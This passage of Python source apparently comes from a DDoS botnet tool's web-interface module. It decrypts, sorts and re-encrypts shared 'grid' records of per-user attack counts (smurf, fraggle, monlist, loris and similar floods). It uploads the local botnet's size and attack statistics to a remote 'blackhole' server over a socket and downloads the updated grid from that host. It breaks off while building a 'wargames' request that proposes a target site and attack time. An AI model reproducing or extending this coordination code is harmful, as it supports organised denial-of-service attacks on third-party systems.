  4980. grid_monlist = nodec_num
  4981. self.decryptedtext = "" # clean decryptedtext buffer
  4982. grid_fraggle = m[17] # fraggle
  4983. self.decrypt(grid_key, grid_fraggle)
  4984. if self.decryptedtext:
  4985. try:
  4986. grid_fraggle = int(self.decryptedtext)
  4987. except:
  4988. grid_fraggle = nodec_num
  4989. else:
  4990. grid_fraggle = nodec_num
  4991. self.decryptedtext = "" # clean decryptedtext buffer
  4992. grid_sniper = m[18] # sniper
  4993. self.decrypt(grid_key, grid_sniper)
  4994. if self.decryptedtext:
  4995. try:
  4996. grid_sniper = int(self.decryptedtext)
  4997. except:
  4998. grid_sniper = nodec_num
  4999. else:
  5000. grid_sniper = nodec_num
  5001. self.decryptedtext = "" # clean decryptedtext buffer
  5002. grid_ufoack = m[19] # ufoack
  5003. self.decrypt(grid_key, grid_ufoack)
  5004. if self.decryptedtext:
  5005. try:
  5006. grid_ufoack = int(self.decryptedtext)
  5007. except:
  5008. grid_ufoack = nodec_num
  5009. else:
  5010. grid_ufoack = nodec_num
  5011. self.decryptedtext = "" # clean decryptedtext buffer
  5012. grid_uforst = m[20] # uforst
  5013. self.decrypt(grid_key, grid_uforst)
  5014. if self.decryptedtext:
  5015. try:
  5016. grid_uforst = int(self.decryptedtext)
  5017. except:
  5018. grid_uforst = nodec_num
  5019. else:
  5020. grid_uforst = nodec_num
  5021. self.decryptedtext = "" # clean decryptedtext buffer
  5022. grid_droper = m[21] # droper
  5023. self.decrypt(grid_key, grid_droper)
  5024. if self.decryptedtext:
  5025. try:
  5026. grid_droper = int(self.decryptedtext)
  5027. except:
  5028. grid_droper = nodec_num
  5029. else:
  5030. grid_droper = nodec_num
  5031. self.decryptedtext = "" # clean decryptedtext buffer
  5032. grid_overlap = m[22] # overlap
  5033. self.decrypt(grid_key, grid_overlap)
  5034. if self.decryptedtext:
  5035. try:
  5036. grid_overlap = int(self.decryptedtext)
  5037. except:
  5038. grid_overlap = nodec_num
  5039. else:
  5040. grid_overlap = nodec_num
  5041. self.decryptedtext = "" # clean decryptedtext buffer
  5042. grid_pinger = m[23] # pinger
  5043. self.decrypt(grid_key, grid_pinger)
  5044. if self.decryptedtext:
  5045. try:
  5046. grid_pinger = int(self.decryptedtext)
  5047. except:
  5048. grid_pinger = nodec_num
  5049. else:
  5050. grid_pinger = nodec_num
  5051. self.decryptedtext = "" # clean decryptedtext buffer
  5052. grid_ufoudp = m[24] # ufoudp
  5053. self.decrypt(grid_key, grid_ufoudp)
  5054. if self.decryptedtext:
  5055. try:
  5056. grid_ufoudp = int(self.decryptedtext)
  5057. except:
  5058. grid_ufoudp = nodec_num
  5059. else:
  5060. grid_ufoudp = nodec_num
  5061. self.decryptedtext = "" # clean decryptedtext buffer
  5062. else:
  5063. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5064. self.decrypt(grid_key, grid_monlist)
  5065. if self.decryptedtext:
  5066. try:
  5067. grid_monlist = int(self.decryptedtext)
  5068. except:
  5069. grid_monlist = nodec_num
  5070. else:
  5071. grid_monlist = nodec_num
  5072. self.decryptedtext = "" # clean decryptedtext buffer
  5073. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5074. self.decrypt(grid_key, grid_fraggle)
  5075. if self.decryptedtext:
  5076. try:
  5077. grid_fraggle = int(self.decryptedtext)
  5078. except:
  5079. grid_fraggle = nodec_num
  5080. else:
  5081. grid_fraggle = nodec_num
  5082. self.decryptedtext = "" # clean decryptedtext buffer
  5083. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5084. self.decrypt(grid_key, grid_sniper)
  5085. if self.decryptedtext:
  5086. try:
  5087. grid_sniper = int(self.decryptedtext)
  5088. except:
  5089. grid_sniper = nodec_num
  5090. else:
  5091. grid_sniper = nodec_num
  5092. self.decryptedtext = "" # clean decryptedtext buffer
  5093. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  5094. self.decrypt(grid_key, grid_ufoack)
  5095. if self.decryptedtext:
  5096. try:
  5097. grid_ufoack = int(self.decryptedtext)
  5098. except:
  5099. grid_ufoack = nodec_num
  5100. else:
  5101. grid_ufoack = nodec_num
  5102. self.decryptedtext = "" # clean decryptedtext buffer
  5103. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5104. self.decrypt(grid_key, grid_uforst)
  5105. if self.decryptedtext:
  5106. try:
  5107. grid_uforst = int(self.decryptedtext)
  5108. except:
  5109. grid_uforst = nodec_num
  5110. else:
  5111. grid_uforst = nodec_num
  5112. self.decryptedtext = "" # clean decryptedtext buffer
  5113. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5114. self.decrypt(grid_key, grid_droper)
  5115. if self.decryptedtext:
  5116. try:
  5117. grid_droper = int(self.decryptedtext)
  5118. except:
  5119. grid_droper = nodec_num
  5120. else:
  5121. grid_droper = nodec_num
  5122. self.decryptedtext = "" # clean decryptedtext buffer
  5123. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  5124. self.decrypt(grid_key, grid_overlap)
  5125. if self.decryptedtext:
  5126. try:
  5127. grid_overlap = int(self.decryptedtext)
  5128. except:
  5129. grid_overlap = nodec_num
  5130. else:
  5131. grid_overlap = nodec_num
  5132. self.decryptedtext = "" # clean decryptedtext buffer
  5133. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  5134. self.decrypt(grid_key, grid_pinger)
  5135. if self.decryptedtext:
  5136. try:
  5137. grid_pinger = int(self.decryptedtext)
  5138. except:
  5139. grid_pinger = nodec_num
  5140. else:
  5141. grid_pinger = nodec_num
  5142. self.decryptedtext = "" # clean decryptedtext buffer
  5143. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  5144. self.decrypt(grid_key, grid_ufoudp)
  5145. if self.decryptedtext:
  5146. try:
  5147. grid_ufoudp = int(self.decryptedtext)
  5148. except:
  5149. grid_ufoudp = nodec_num
  5150. else:
  5151. grid_ufoudp = nodec_num
  5152. self.decryptedtext = "" # clean decryptedtext buffer
  5153. if version > 17:
  5154. grid_contact = m[25] # contact
  5155. self.decrypt(grid_key, grid_contact)
  5156. if self.decryptedtext:
  5157. grid_contact = self.decryptedtext
  5158. else:
  5159. grid_contact = nodec_text
  5160. self.decryptedtext = "" # clean decryptedtext buffer
  5161. grid_id = m[26] # id
  5162. elif version == 17:
  5163. grid_contact = m[16] # contact
  5164. self.decrypt(grid_key, grid_contact)
  5165. if self.decryptedtext:
  5166. grid_contact = self.decryptedtext
  5167. else:
  5168. grid_contact = nodec_text
  5169. self.decryptedtext = "" # clean decryptedtext buffer
  5170. grid_id = m[17] # id
  5171. elif version == 16:
  5172. grid_contact = m[15] # contact
  5173. self.decrypt(grid_key, grid_contact)
  5174. if self.decryptedtext:
  5175. grid_contact = self.decryptedtext
  5176. else:
  5177. grid_contact = nodec_text
  5178. self.decryptedtext = "" # clean decryptedtext buffer
  5179. grid_id = m[16] # id
  5180. elif version == 15:
  5181. grid_contact = m[14] # contact
  5182. self.decrypt(grid_key, grid_contact)
  5183. if self.decryptedtext:
  5184. grid_contact = self.decryptedtext
  5185. else:
  5186. grid_contact = nodec_text
  5187. self.decryptedtext = "" # clean decryptedtext buffer
  5188. grid_id = m[15] # id
  5189. elif version == 12:
  5190. grid_contact = m[11] # contact
  5191. self.decrypt(grid_key, grid_contact)
  5192. if self.decryptedtext:
  5193. grid_contact = self.decryptedtext
  5194. else:
  5195. grid_contact = nodec_text
  5196. self.decryptedtext = "" # clean decryptedtext buffer
  5197. grid_id = m[12] # id
  5198. elif version == 11:
  5199. grid_contact = m[10] # contact
  5200. self.decrypt(grid_key, grid_contact)
  5201. if self.decryptedtext:
  5202. grid_contact = self.decryptedtext
  5203. else:
  5204. grid_contact = nodec_text
  5205. self.decryptedtext = "" # clean decryptedtext buffer
  5206. grid_id = m[11] # id
  5207. elif version == 10:
  5208. grid_contact = m[9] # contact
  5209. self.decrypt(grid_key, grid_contact)
  5210. if self.decryptedtext:
  5211. grid_contact = self.decryptedtext
  5212. else:
  5213. grid_contact = nodec_text
  5214. self.decryptedtext = "" # clean decryptedtext buffer
  5215. grid_id = m[10] # id
  5216. else:
  5217. grid_contact = nodec_text
  5218. grid_id = '6666666666666666666666666666666666666' # fake id
  5219. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  5220. if grid_filter == "nickname":
  5221. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  5222. elif grid_filter == "ranking":
  5223. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  5224. elif grid_filter == "chargo":
  5225. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  5226. elif grid_filter == "dorking":
  5227. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  5228. elif grid_filter == "transferred":
  5229. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  5230. elif grid_filter == "maxchargo":
  5231. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  5232. elif grid_filter == "missions":
  5233. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  5234. elif grid_filter == "attacks":
  5235. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  5236. elif grid_filter == "loic":
  5237. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  5238. elif grid_filter == "loris":
  5239. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  5240. elif grid_filter == "ufosyn":
  5241. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  5242. elif grid_filter == "spray":
  5243. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  5244. elif grid_filter == "smurf":
  5245. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  5246. elif grid_filter == "xmas":
  5247. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  5248. elif grid_filter == "nuke":
  5249. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  5250. elif grid_filter == "tachyon":
  5251. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  5252. elif grid_filter == "monlist":
  5253. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  5254. elif grid_filter == "fraggle":
  5255. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  5256. elif grid_filter == "sniper":
  5257. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  5258. elif grid_filter == "ufoack":
  5259. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  5260. elif grid_filter == "uforst":
  5261. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  5262. elif grid_filter == "droper":
  5263. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  5264. elif grid_filter == "overlap":
  5265. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  5266. elif grid_filter == "pinger":
  5267. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  5268. elif grid_filter == "ufoudp":
  5269. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  5270. elif grid_filter == "contact":
  5271. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  5272. else:
  5273. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  5274. for i in grid_items:
  5275. grid_nickname = str(i[0])
  5276. self.encrypt(grid_key, grid_nickname)
  5277. if self.encryptedtext:
  5278. grid_nickname = self.encryptedtext
  5279. self.encryptedtext = "" # clean encryptedtext buffer
  5280. grid_ranking = str(i[1])
  5281. self.encrypt(grid_key, grid_ranking)
  5282. if self.encryptedtext:
  5283. grid_ranking = self.encryptedtext
  5284. self.encryptedtext = "" # clean encryptedtext buffer
  5285. grid_totalchargo = str(i[2])
  5286. self.encrypt(grid_key, grid_totalchargo)
  5287. if self.encryptedtext:
  5288. grid_totalchargo = self.encryptedtext
  5289. self.encryptedtext = "" # clean encryptedtext buffer
  5290. grid_dorking = str(i[3])
  5291. self.encrypt(grid_key, grid_dorking)
  5292. if self.encryptedtext:
  5293. grid_dorking = self.encryptedtext
  5294. self.encryptedtext = "" # clean encryptedtext buffer
  5295. grid_transferred = str(i[4])
  5296. self.encrypt(grid_key, grid_transferred)
  5297. if self.encryptedtext:
  5298. grid_transferred = self.encryptedtext
  5299. self.encryptedtext = "" # clean encryptedtext buffer
  5300. grid_maxchargo = str(i[5])
  5301. self.encrypt(grid_key, grid_maxchargo)
  5302. if self.encryptedtext:
  5303. grid_maxchargo = self.encryptedtext
  5304. self.encryptedtext = "" # clean encryptedtext buffer
  5305. grid_missions = str(i[6])
  5306. self.encrypt(grid_key, grid_missions)
  5307. if self.encryptedtext:
  5308. grid_missions = self.encryptedtext
  5309. self.encryptedtext = "" # clean encryptedtext buffer
  5310. grid_attacks = str(i[7])
  5311. self.encrypt(grid_key, grid_attacks)
  5312. if self.encryptedtext:
  5313. grid_attacks = self.encryptedtext
  5314. self.encryptedtext = "" # clean encryptedtext buffer
  5315. grid_loic = str(i[8])
  5316. self.encrypt(grid_key, grid_loic)
  5317. if self.encryptedtext:
  5318. grid_loic = self.encryptedtext
  5319. self.encryptedtext = "" # clean encryptedtext buffer
  5320. grid_loris = str(i[9])
  5321. self.encrypt(grid_key, grid_loris)
  5322. if self.encryptedtext:
  5323. grid_loris = self.encryptedtext
  5324. self.encryptedtext = "" # clean encryptedtext buffer
  5325. grid_ufosyn = str(i[10])
  5326. self.encrypt(grid_key, grid_ufosyn)
  5327. if self.encryptedtext:
  5328. grid_ufosyn = self.encryptedtext
  5329. self.encryptedtext = "" # clean encryptedtext buffer
  5330. grid_spray = str(i[11])
  5331. self.encrypt(grid_key, grid_spray)
  5332. if self.encryptedtext:
  5333. grid_spray = self.encryptedtext
  5334. self.encryptedtext = "" # clean encryptedtext buffer
  5335. grid_smurf = str(i[12])
  5336. self.encrypt(grid_key, grid_smurf)
  5337. if self.encryptedtext:
  5338. grid_smurf = self.encryptedtext
  5339. self.encryptedtext = "" # clean encryptedtext buffer
  5340. grid_xmas = str(i[13])
  5341. self.encrypt(grid_key, grid_xmas)
  5342. if self.encryptedtext:
  5343. grid_xmas = self.encryptedtext
  5344. self.encryptedtext = "" # clean encryptedtext buffer
  5345. grid_nuke = str(i[14])
  5346. self.encrypt(grid_key, grid_nuke)
  5347. if self.encryptedtext:
  5348. grid_nuke = self.encryptedtext
  5349. self.encryptedtext = "" # clean encryptedtext buffer
  5350. grid_tachyon = str(i[15])
  5351. self.encrypt(grid_key, grid_tachyon)
  5352. if self.encryptedtext:
  5353. grid_tachyon = self.encryptedtext
  5354. self.encryptedtext = "" # clean encryptedtext buffer
  5355. grid_monlist = str(i[16])
  5356. self.encrypt(grid_key, grid_monlist)
  5357. if self.encryptedtext:
  5358. grid_monlist = self.encryptedtext
  5359. self.encryptedtext = "" # clean encryptedtext buffer
  5360. grid_fraggle = str(i[17])
  5361. self.encrypt(grid_key, grid_fraggle)
  5362. if self.encryptedtext:
  5363. grid_fraggle = self.encryptedtext
  5364. self.encryptedtext = "" # clean encryptedtext buffer
  5365. grid_sniper = str(i[18])
  5366. self.encrypt(grid_key, grid_sniper)
  5367. if self.encryptedtext:
  5368. grid_sniper = self.encryptedtext
  5369. self.encryptedtext = "" # clean encryptedtext buffer
  5370. grid_ufoack = str(i[19])
  5371. self.encrypt(grid_key, grid_ufoack)
  5372. if self.encryptedtext:
  5373. grid_ufoack = self.encryptedtext
  5374. self.encryptedtext = "" # clean encryptedtext buffer
  5375. grid_uforst = str(i[20])
  5376. self.encrypt(grid_key, grid_uforst)
  5377. if self.encryptedtext:
  5378. grid_uforst = self.encryptedtext
  5379. self.encryptedtext = "" # clean encryptedtext buffer
  5380. grid_droper = str(i[21])
  5381. self.encrypt(grid_key, grid_droper)
  5382. if self.encryptedtext:
  5383. grid_droper = self.encryptedtext
  5384. self.encryptedtext = "" # clean encryptedtext buffer
  5385. grid_overlap = str(i[22])
  5386. self.encrypt(grid_key, grid_overlap)
  5387. if self.encryptedtext:
  5388. grid_overlap = self.encryptedtext
  5389. self.encryptedtext = "" # clean encryptedtext buffer
  5390. grid_pinger = str(i[23])
  5391. self.encrypt(grid_key, grid_pinger)
  5392. if self.encryptedtext:
  5393. grid_pinger = self.encryptedtext
  5394. self.encryptedtext = "" # clean encryptedtext buffer
  5395. grid_ufoudp = str(i[24])
  5396. self.encrypt(grid_key, grid_ufoudp)
  5397. if self.encryptedtext:
  5398. grid_ufoudp = self.encryptedtext
  5399. self.encryptedtext = "" # clean encryptedtext buffer
  5400. grid_contact = str(i[25])
  5401. self.encrypt(grid_key, grid_contact)
  5402. if self.encryptedtext:
  5403. grid_contact = self.encryptedtext
  5404. self.encryptedtext = "" # clean encryptedtext buffer
  5405. grid_id = str(i[26]) # id (plain id)
  5406. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  5407. f.write(l + os.linesep)
  5408. f.close()
  5409. except:
  5410. pass
  5411. if page == "/cmd_grid_filter_update":
  5412. if not os.path.exists('/tmp/out'):
  5413. open('/tmp/out', 'w').close()
  5414. with open('/tmp/out', 'r') as f:
  5415. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  5416. if page == "/cmd_transfer_grid":
  5417. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5418. blackhole_ip = pGet["grid_source"]
  5419. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5420. try:
  5421. grid_key = pGet["grid_key"]
  5422. except:
  5423. grid_key = ""
  5424. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5425. if grid_key is not "": # stream creation + encryption + package send
  5426. try:
  5427. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  5428. grid_data = json.load(grid_json_file)
  5429. grid_json_file.close()
  5430. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  5431. stats_data = json.load(stats_json_file)
  5432. stats_json_file.close()
  5433. nickname = grid_data["grid_nick"].encode('utf-8')
  5434. self.encrypt(grid_key, nickname)
  5435. if self.encryptedtext:
  5436. nickname = self.encryptedtext
  5437. self.encryptedtext = "" # clean encryptedtext buffer
  5438. ranking = self.ranking
  5439. if ranking == "Rookie":
  5440. ranking = 1
  5441. elif ranking == "Mercenary":
  5442. ranking = 2
  5443. elif ranking == "Bandit":
  5444. ranking = 3
  5445. elif ranking == "UFOmmander!":
  5446. ranking = 4
  5447. elif ranking == "UFOl33t!":
  5448. ranking = 5
  5449. else:
  5450. ranking = 1
  5451. self.encrypt(grid_key, str(ranking))
  5452. if self.encryptedtext:
  5453. ranking = self.encryptedtext
  5454. self.encryptedtext = "" # clean encryptedtext buffer
  5455. chargo = self.total_botnet
  5456. self.encrypt(grid_key, str(chargo))
  5457. if self.encryptedtext:
  5458. chargo = self.encryptedtext
  5459. self.encryptedtext = "" # clean encryptedtext buffer
  5460. dorking = stats_data["scanner"]
  5461. self.encrypt(grid_key, str(dorking))
  5462. if self.encryptedtext:
  5463. dorking = self.encryptedtext
  5464. self.encryptedtext = "" # clean encryptedtext buffer
  5465. transferred = stats_data["transferred"]
  5466. self.encrypt(grid_key, str(transferred))
  5467. if self.encryptedtext:
  5468. transferred = self.encryptedtext
  5469. self.encryptedtext = "" # clean encryptedtext buffer
  5470. max_chargo = stats_data["max_chargo"]
  5471. self.encrypt(grid_key, str(max_chargo))
  5472. if self.encryptedtext:
  5473. max_chargo = self.encryptedtext
  5474. self.encryptedtext = "" # clean encryptedtext buffer
  5475. missions = stats_data["missions"]
  5476. self.encrypt(grid_key, str(missions))
  5477. if self.encryptedtext:
  5478. missions = self.encryptedtext
  5479. self.encryptedtext = "" # clean encryptedtext buffer
  5480. attacks = stats_data["completed"]
  5481. self.encrypt(grid_key, str(attacks))
  5482. if self.encryptedtext:
  5483. attacks = self.encryptedtext
  5484. self.encryptedtext = "" # clean encryptedtext buffer
  5485. loic = stats_data["loic"]
  5486. self.encrypt(grid_key, str(loic))
  5487. if self.encryptedtext:
  5488. loic = self.encryptedtext
  5489. self.encryptedtext = "" # clean encryptedtext buffer
  5490. loris = stats_data["loris"]
  5491. self.encrypt(grid_key, str(loris))
  5492. if self.encryptedtext:
  5493. loris = self.encryptedtext
  5494. self.encryptedtext = "" # clean encryptedtext buffer
  5495. ufosyn = stats_data["ufosyn"]
  5496. self.encrypt(grid_key, str(ufosyn))
  5497. if self.encryptedtext:
  5498. ufosyn = self.encryptedtext
  5499. self.encryptedtext = "" # clean encryptedtext buffer
  5500. spray = stats_data["spray"]
  5501. self.encrypt(grid_key, str(spray))
  5502. if self.encryptedtext:
  5503. spray = self.encryptedtext
  5504. self.encryptedtext = "" # clean encryptedtext buffer
  5505. smurf = stats_data["smurf"]
  5506. self.encrypt(grid_key, str(smurf))
  5507. if self.encryptedtext:
  5508. smurf = self.encryptedtext
  5509. self.encryptedtext = "" # clean encryptedtext buffer
  5510. xmas = stats_data["xmas"]
  5511. self.encrypt(grid_key, str(xmas))
  5512. if self.encryptedtext:
  5513. xmas = self.encryptedtext
  5514. self.encryptedtext = "" # clean encryptedtext buffer
  5515. nuke = stats_data["nuke"]
  5516. self.encrypt(grid_key, str(nuke))
  5517. if self.encryptedtext:
  5518. nuke = self.encryptedtext
  5519. self.encryptedtext = "" # clean encryptedtext buffer
  5520. tachyon = stats_data["tachyon"]
  5521. self.encrypt(grid_key, str(tachyon))
  5522. if self.encryptedtext:
  5523. tachyon = self.encryptedtext
  5524. self.encryptedtext = "" # clean encryptedtext buffer
  5525. monlist = stats_data["monlist"]
  5526. self.encrypt(grid_key, str(monlist))
  5527. if self.encryptedtext:
  5528. monlist = self.encryptedtext
  5529. self.encryptedtext = "" # clean encryptedtext buffer
  5530. fraggle = stats_data["fraggle"]
  5531. self.encrypt(grid_key, str(fraggle))
  5532. if self.encryptedtext:
  5533. fraggle = self.encryptedtext
  5534. self.encryptedtext = "" # clean encryptedtext buffer
  5535. sniper = stats_data["sniper"]
  5536. self.encrypt(grid_key, str(sniper))
  5537. if self.encryptedtext:
  5538. sniper = self.encryptedtext
  5539. self.encryptedtext = "" # clean encryptedtext buffer
  5540. ufoack = stats_data["ufoack"]
  5541. self.encrypt(grid_key, str(ufoack))
  5542. if self.encryptedtext:
  5543. ufoack = self.encryptedtext
  5544. self.encryptedtext = "" # clean encryptedtext buffer
  5545. uforst = stats_data["uforst"]
  5546. self.encrypt(grid_key, str(uforst))
  5547. if self.encryptedtext:
  5548. uforst = self.encryptedtext
  5549. self.encryptedtext = "" # clean encryptedtext buffer
  5550. droper = stats_data["droper"]
  5551. self.encrypt(grid_key, str(droper))
  5552. if self.encryptedtext:
  5553. droper = self.encryptedtext
  5554. self.encryptedtext = "" # clean encryptedtext buffer
  5555. overlap = stats_data["overlap"]
  5556. self.encrypt(grid_key, str(overlap))
  5557. if self.encryptedtext:
  5558. overlap = self.encryptedtext
  5559. self.encryptedtext = "" # clean encryptedtext buffer
  5560. pinger = stats_data["pinger"]
  5561. self.encrypt(grid_key, str(pinger))
  5562. if self.encryptedtext:
  5563. pinger = self.encryptedtext
  5564. self.encryptedtext = "" # clean encryptedtext buffer
  5565. ufoudp = stats_data["ufoudp"]
  5566. self.encrypt(grid_key, str(ufoudp))
  5567. if self.encryptedtext:
  5568. ufoudp = self.encryptedtext
  5569. self.encryptedtext = "" # clean encryptedtext buffer
  5570. contact = grid_data["grid_contact"].encode('utf-8')
  5571. self.encrypt(grid_key, str(contact))
  5572. if self.encryptedtext:
  5573. contact = self.encryptedtext
  5574. self.encryptedtext = "" # clean encryptedtext buffer
  5575. id = grid_data["grid_token"] # plain text
  5576. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  5577. try:
  5578. host = blackhole_ip
  5579. cport = 9992 # port used by mothership grider (server side script)
  5580. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5581. gs.settimeout(5.0)
  5582. gs.connect((host, cport))
  5583. gs.send(stream.encode())
  5584. gs.close()
  5585. try: # download latest grid after submit
  5586. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  5587. f = open(self.grid_file, "w") # write updates to grid.txt
  5588. f.write(grid)
  5589. f.close()
  5590. except:
  5591. pass
  5592. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  5593. except:
  5594. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5595. except:
  5596. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5597. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5598. f = open("/tmp/out", "w")
  5599. f.write(grid_trans)
  5600. f.write(end_mark)
  5601. f.close()
  5602. if page == "/cmd_transfer_grid_update":
  5603. if not os.path.exists('/tmp/out'):
  5604. open('/tmp/out', 'w').close()
  5605. with open('/tmp/out', 'r') as f:
  5606. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  5607. if page == "/cmd_transfer_wargame":
  5608. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5609. blackhole_ip = pGet["wargames_source2"]
  5610. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5611. try:
  5612. wargames_enckey = pGet["wargames_enckey"]
  5613. except:
  5614. wargames_enckey = ""
  5615. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5616. wargames_target = pGet["wargames_target"]
  5617. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  5618. t = urlparse(wargames_target)
  5619. wargames_target = t.netloc
  5620. else:
  5621. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  5622. wargames_enckey = ""
  5623. if wargames_target.startswith("www."):
  5624. wargames_target = wargames_target.replace("www.","")
  5625. wargames_estimated = pGet["wargames_estimated"]
  5626. try:
  5627. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5628. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5629. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  5630. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  5631. wargames_enckey = ""
  5632. except:
  5633. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  5634. wargames_enckey = ""
  5635. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5636. if wargames_enckey is not "": # stream creation + encryption + package send
  5637. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5638. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5639. try:
  5640. self.encrypt(wargames_enckey, wargames_creation)
  5641. if self.encryptedtext:
  5642. wargames_creation = self.encryptedtext
  5643. self.encryptedtext = "" # clean encryptedtext buffer
  5644. self.encrypt(wargames_enckey, wargames_target)
  5645. if self.encryptedtext:
